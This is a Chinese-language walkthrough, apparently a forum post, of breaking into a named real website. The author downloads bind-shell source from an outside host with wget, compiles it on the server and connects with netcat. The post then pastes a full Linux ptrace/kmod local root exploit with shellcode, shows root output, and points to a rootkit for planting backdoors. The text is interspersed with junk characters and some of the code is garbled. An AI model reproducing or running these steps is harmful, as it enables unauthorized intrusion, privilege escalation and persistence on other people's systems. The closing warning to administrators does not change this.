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http://shellcode.org/Shellcode/Linux/shell-bind-shell.c了,: V6 Q4 G4 n, Y" A/ e- Q
就可以用wget这个命令来下载了,输入
( r2 b3 ~; l- \0 W0 q% p: Kwget http://shellcode.org/Shellcode/Linux/shell-bind-shell.c -P /tmp意思
% q+ V9 G7 U) t: w( I就是下载这个shell.c到/tmp目录下,如图6 5 Y4 Q; ^9 W/ ^/ l# `, `
然后ls /tmp得到下面的结果,[www.sealia.com]$ ls /tmpDate: Sat, 29 Jan 2005 22:17:14 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain6 D* W1 y7 m8 z" K
2bdlost+foundmremap_pte.cmysql.sockptrace.csess_0a3d59b6da83717a4c05fbc5c6429982sess_12981c19e4cdab7bc426af965e7c85desess_33c246570a69e0846eaaedaef61f0402sess_4eb43cb41a450e8a7d15998fe4e9ef82sess_5c2048e3188733f41bba9a1ab44a4f3bsess_6405a9b3e0a809d7f298ad598f5de180sess_67fc6892112d2d780a092664353dcbbasess_9e3a2581194c05f598543f10294a95edsess_a0332a716e5c0a0932331ce9a5ec64d2sess_a159ec1f21a671d5cfe201c384d8da1csess_c6f579b218f096eb5ba11fdbad90f248sess_cdea344ed2940c99c1fcc146c5322882sess_f1e8e705bb1a6c5197ab61a22442da90shell-bind-shell.cshell-bind-shell.c.1ssh-XX0CyKEcssh-XX7eRJNnssh-XX89utqmssh-XXEmor9Xssh-XXhC36Gwssh-XXpOcVIAssh-XXrhx8enssh-XXss6aKsssh-XXw2rzSs9 J/ E% }$ @# v: n" F) M) ?( J% |
这个时候就说明已经成功了,现在我们查找一下gcc在哪里,别到时候闹了半天$ b' ^2 o* Q; b
在没有gcc就麻烦了,然后输入whereis -b gcc意思就是查找gcc的全路径输出结果
5 _& y* i7 O, M/ l' e/ _/ P[www.sealia.com]$ whereis -b gccDate: Sat, 29 Jan 2005 22:21:06 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain+ `5 M4 d2 f7 W$ W1 h
12gcc: /usr/bin/gcc
8 M1 A) s# i2 J! y" S. s. C' }好了找到gcc了,接下来的事就好办了,编译源程序gcc shell-bind-shell.c -o bind
6 a e8 I5 J5 ~ U X+ t Y编译成功在/tmp目录下多了一个我们编译的bind程序,下面我们就来执行它吧,
* j4 U2 S. i# h7 e/tmp/bind程序执行的很慢哦.....大概等了1-2分钟程序执行完成,根据程序的介绍我: S5 |( r+ B9 a, v d
们知道他开了20000端口,我们telnet 上去吧,telnet www.sealia.com 20000
% K. h. T* w2 h& U哈哈连接上了这个时候摸瞎输入id;uname -a 我晕怎么出现"command not found"# g6 J* n9 t: f0 V8 k" ?- P
呢,我晕了,没错啊,看看源程序吧,找到了最后,哈哈知道了原因,* }$ ]) V2 z; W) z: ?, n
Note: To use this you will need to make sure that you append '\n\0' to your entered strings, otherwise you will receive errors saying "command not found".The following is a simple means of doing that: perl -e '$|++;while (<>) { print . "\n\x00"; }' | nc hostname 20000( m1 \0 e$ z; T2 Q
(nc is netcat).好了知道为什么了,我们就换nc提交吧,执行nc -vv www.sealia.com 20000然后出现了C:\WINDOWS\system32>nc -vv www.sealia.com 20000Warning: inverse host lookup failed for 61.100.181.12: h_errno 11004: NO_DATAwww.sealia.com [61.100.181.12] 20000 (?) open在黑暗中输入id输出结果uid=99(nobody) gid=99(nobody) groups=99(nobody)如图7

呵呵到这里我们可爱的流光还在跑呢,跑了将近半个小时了,不等了,关闭它,太浪费资源了,这个时候我大概知道他是一个linux的操作系统,但不知道内核版本输入uname -r 可以看到这个linux的内核iduid=99(nobody) gid=99(nobody) groups=99(nobody)uname -r2.4.20-31.92.4.20的,下面咱们来提升权限吧,就是拿到root,这里说明一下这里有2个很好用的漏洞利用程序,一个是Linux Kernel do_mremap VMA本地权限提升漏洞(漏洞利用程序下载地址_pte.c">http://rhea.oamk.fi/~pyanil00/temp/mremap_pte.c)和Linux kernel 2.2.x - 2.4.x ptrace/kmod local root exploit好了都准备好了,咱们开始提升权限吧,大家先把咱们要利用的程序输入到linux里面cd /tmp;cat >1.c然后复制代码右键输入代码/*
/ ~0 ^; K1 i: A: o. j& T: M6 k5 Y! Y* Linux kernel ptrace/kmod local root exploit
9 e* B. P+ K5 l! w*
; O. L1 I. O0 i* This code exploits a race condition in kernel/kmod.c, which creates" Q- N4 u* W' O
* kernel thread in insecure manner. This bug allows to ptrace cloned8 |; \; K" a! e) A( @0 q
* process, allowing to take control over privileged modprobe binary.
) m6 l- K; U( T6 t( o*' }$ u9 `' y t0 ]9 d5 f
* Should work under all current 2.2.x and 2.4.x kernels.
0 C2 e) B1 \3 R! T, U0 O1 n, G* % f2 ^# S I7 I6 P
* I discovered this stupid bug independently on January 25, 2003, that # b* h2 w7 ?6 [- K: _0 V+ S( u
* is (almost) two month before it was fixed and published by Red Hat, c& m2 Y9 ?7 j9 e Z' d1 O
* and others.
1 M4 T4 G8 [9 j8 Y. ?. q& q6 O& b*
4 C7 j0 t/ k+ Q2 C! R* Wojciech Purczynski <cliph@isec.pl>
) d6 b$ x |/ \" p*3 v- _5 R R" _1 G; Z3 p
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*6 @7 A% X5 u; ]8 b+ ?
* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
! E9 @: V: V9 b; J5 o7 K* # g1 H7 t$ m+ p" C5 G3 F
* (c) 2003 Copyright by iSEC Security Research$ b( }2 P1 R0 C* u! g! W% I
*/ #include
2 [' P+ \9 P. z- F+ n. _; Q- z# B#include 6 Q% P2 X$ Z- J9 p
#include
! u) q) U7 c' m#include ) q! `: d* _" z1 f3 ~2 j6 K4 v0 K. {
#include
: i- Z$ p& w2 q5 i# |* R3 D3 B#include 1 A& L: e7 Q. ?7 F" S& O
#include 3 y/ F) R& \& L% h) n+ F
#include
9 A4 |0 Y7 G$ K# H/ J#include $ ^4 B7 n7 g) j$ j3 h( J
#include / R4 D/ y& g7 p3 [5 ^, y/ Z
#include
. p' @, {) X4 g! Z( Z#include
$ \% \* V2 k& V! z9 e0 y: [#include
g3 c9 B/ j+ _+ t9 L% f#include
?; D3 t8 {. A6 J i#include 9 V9 C7 ^0 v6 N0 o2 z1 e
#include char cliphcode[] =6 k- I2 r9 H$ l# I8 D* k' k
"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"4 V/ B7 }/ _3 N2 L) y+ R& I2 g
"\x00\x5b\x31\xc9\x89\xca\xcd\x80" F" d/ e# ~; D7 ~9 ~
"\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
1 k1 t9 h" x- Q6 f# J"\x00\x00\xcd\x80\x89\xd0\x89\xd3"
: Q# |6 L. t; e, ~* g"\x40\xcd\x80\xe8\xdc\xff\xff\xff"; #define CODE_SIZE (sizeof(cliphcode) - 1) pid_t parent = 1;, Y8 {2 S5 R& E* W, O2 C
pid_t child = 1;
" e Z; X) S1 i) v6 Mpid_t victim = 1;4 S& P9 _$ x) o6 b9 K5 z' e
volatile int gotchild = 0; void fatal(char * msg)$ R, t. u# A: j% d& R6 Z
{0 _3 h2 o3 p6 W5 s0 s8 h. u# l+ R5 G
perror(msg);9 I* b6 x0 v+ f; ]3 j) \& k
kill(parent, SIGKILL);
! ]$ P% S+ `/ `3 E3 o/ X# Ikill(child, SIGKILL);8 t; {. u: [2 ?# N1 [) o1 F7 [5 _0 R
kill(victim, SIGKILL);4 F B9 P- f9 |' v- y0 T
} void putcode(unsigned long * dst)/ w I" R- V. Q' ?0 g
{* F6 K+ K9 B7 a
char buf[MAXPATHLEN + CODE_SIZE];
! ]- E* p, D1 J. w+ hunsigned long * src;* b3 w6 U# }. p( O |/ K
int i, len; memcpy(buf, cliphcode, CODE_SIZE);
/ m8 H& s( f8 v% v2 Dlen = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
) G2 R4 F1 u* Tif (len == -1): m# D) v5 j8 J: L" W0 j
fatal("[-] Unable to read /proc/self/exe"); len += CODE_SIZE + 1;
1 m8 {8 E1 w7 M" ~9 r% Q7 Mbuf[len] = '\0'; src = (unsigned long*) buf;, [) z) M6 M$ k3 a4 w- C' K0 _
for (i = 0; i < len; i += 4)( W7 N& ~) Q( A) c
if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
1 v: Q5 S) o* f6 W$ `/ ^9 ifatal("[-] Unable to write shellcode");8 O% r6 e' d% o, w/ E( `! c
} void sigchld(int signo)
5 ]4 V2 d: w8 a{
- |5 R& g, \ lstruct user_regs_struct regs; if (gotchild++ == 0)
" F( J8 Z u7 F1 h0 yreturn; fprintf(stderr, "[+] Signal caught\n"); if (ptrace(PTRACE_GETREGS, victim, NULL, 畇) == -1)& x- J8 w- N2 f; x1 n$ e" X# F
fatal("[-] Unable to read registers"); fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip); putcode((unsigned long *)regs.eip); fprintf(stderr, "[+] Now wait for suid shell...\n"); if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)" k C+ Y+ [6 r( _6 X; d1 A
fatal("[-] Unable to detach from victim"); exit(0);
* Q; M1 u0 x ^) {8 A# ?; E} void sigalrm(int signo)
- r, i& G' p9 _! p9 [) M$ m% ]{. |# }4 ^' m2 f0 ^: W
errno = ECANCELED;4 p1 C4 v2 b! F* H) j2 A2 w
fatal("[-] Fatal error");
1 @7 _* S2 _& E! N R0 f} void do_child(void): K) c5 g& |9 F/ ?8 Y3 K
{
# E4 V ~" Q8 c1 ]int err; child = getpid();( Y# h2 ?/ f# F% b
victim = child + 1; signal(SIGCHLD, sigchld); do7 n- ~0 v- X! m8 q/ ]% S
err = ptrace(PTRACE_ATTACH, victim, 0, 0);
+ M! A$ \! r+ i# i9 m) owhile (err == -1 && errno == ESRCH); if (err == -1)
5 _$ o' ?5 ~; X B2 P: v6 }fatal("[-] Unable to attach"); fprintf(stderr, "[+] Attached to %d\n", victim);
$ J; j7 p: ]( K- T2 E$ }while (!gotchild) ;! F: ~1 v8 A% d1 j0 x( f
if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
6 E- |1 n# X6 z4 l+ F) ]6 ^4 Ofatal("[-] Unable to setup syscall trace");. B/ O* H! c( f5 S# l
fprintf(stderr, "[+] Waiting for signal\n"); for(;;);2 n7 q4 G2 L9 x/ y; U
} void do_parent(char * progname)
3 }5 l% e% {& ~8 X' u$ D{
4 j4 r9 T ]2 _* p, Zstruct stat st;
) a& }: X, z! X! |5 \8 Q; \) @int err;
& Q, W' J5 o& X7 kerrno = 0;
1 w2 n+ T, @; U% msocket(AF_SECURITY, SOCK_STREAM, 1);
+ f& _5 r3 `8 N+ U3 j7 @+ Wdo {$ Z$ t, [# f# u n- p
err = stat(progname, &st);
' X% K# V8 l# J n} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID); if (err == -1)
! p1 I, i& h1 X/ ~fatal("[-] Unable to stat myself"); alarm(0);
# b) a& W0 c3 @% d& ysystem(progname);
- a2 ?/ @0 R( v} void prepare(void)
8 z' E6 w, F4 G# h* j$ U{
( l5 y) A+ E1 R- E6 |% Gif (geteuid() == 0) {2 N4 l# Y4 c5 B
initgroups("root", 0);
. Z" _1 r: l# ?* E" Hsetgid(0);
5 X" d- c: x: f3 O" jsetuid(0);1 r" ~4 r1 q' A4 ?6 T
execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
* r* _- r2 h+ n2 O6 _. J: [fatal("[-] Unable to spawn shell");
- o" V3 H! p3 S" Q% @}
+ l; W+ t: k8 f# B9 Z- L} int main(int argc, char ** argv)3 y, w6 L6 `1 y2 R6 u
{+ h% |+ {8 W9 g5 Z& q% r3 w
prepare();
5 n$ X: p4 i3 E7 \- u9 Gsignal(SIGALRM, sigalrm);
! ]3 Y9 X* G( kalarm(10); parent = getpid();- u9 k! w0 J+ \! V' N4 d
child = fork();
0 H0 e; d8 z+ g( ?+ Q( G+ Yvictim = child + 1; if (child == -1)+ k3 o% i" P8 P' s, d
fatal("[-] Unable to fork"); if (child == 0)
& Q# H; Q9 V3 F: T ^! ?do_child();
9 I1 F7 _8 _9 ]4 _1 Zelse, z/ Z7 h5 x* l1 Y+ }
do_parent(argv[0]); return 0;
5 C5 s1 |7 {3 }) s+ n7 w}CRTL+C保存,然后编译gcc 1.c -o 1编译成功,然后输入./1程序开始执行了,-> Parent's PID is 2313. Child's PID is 2314.-> Attaching to 2315...-> Got the thread!!-> Waiting for the next signal...-> Injecting shellcode at 0x4000e85d-> Bind root shell on port 24876... =p-> Detached from modprobe thread.-> Committing suicide..... iduid=0(root) gid=0(root) groups=0(root)哈哈到这个时候我们已经是root了,剩下的工作就是安装后门了,大家可以参考我另外的一篇文章,more.asp?name=cnbird&id=522还有推荐一个不错的rootkitpacketstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz好了到这里所有的工作就算已经完成了,其实从入侵中我们可以看出来我们做网站的一定要重视web漏洞,这一点点的小漏洞就可以把能拿到系统的最高权限,可见其危害性,希望国内的网管能够重视起来. |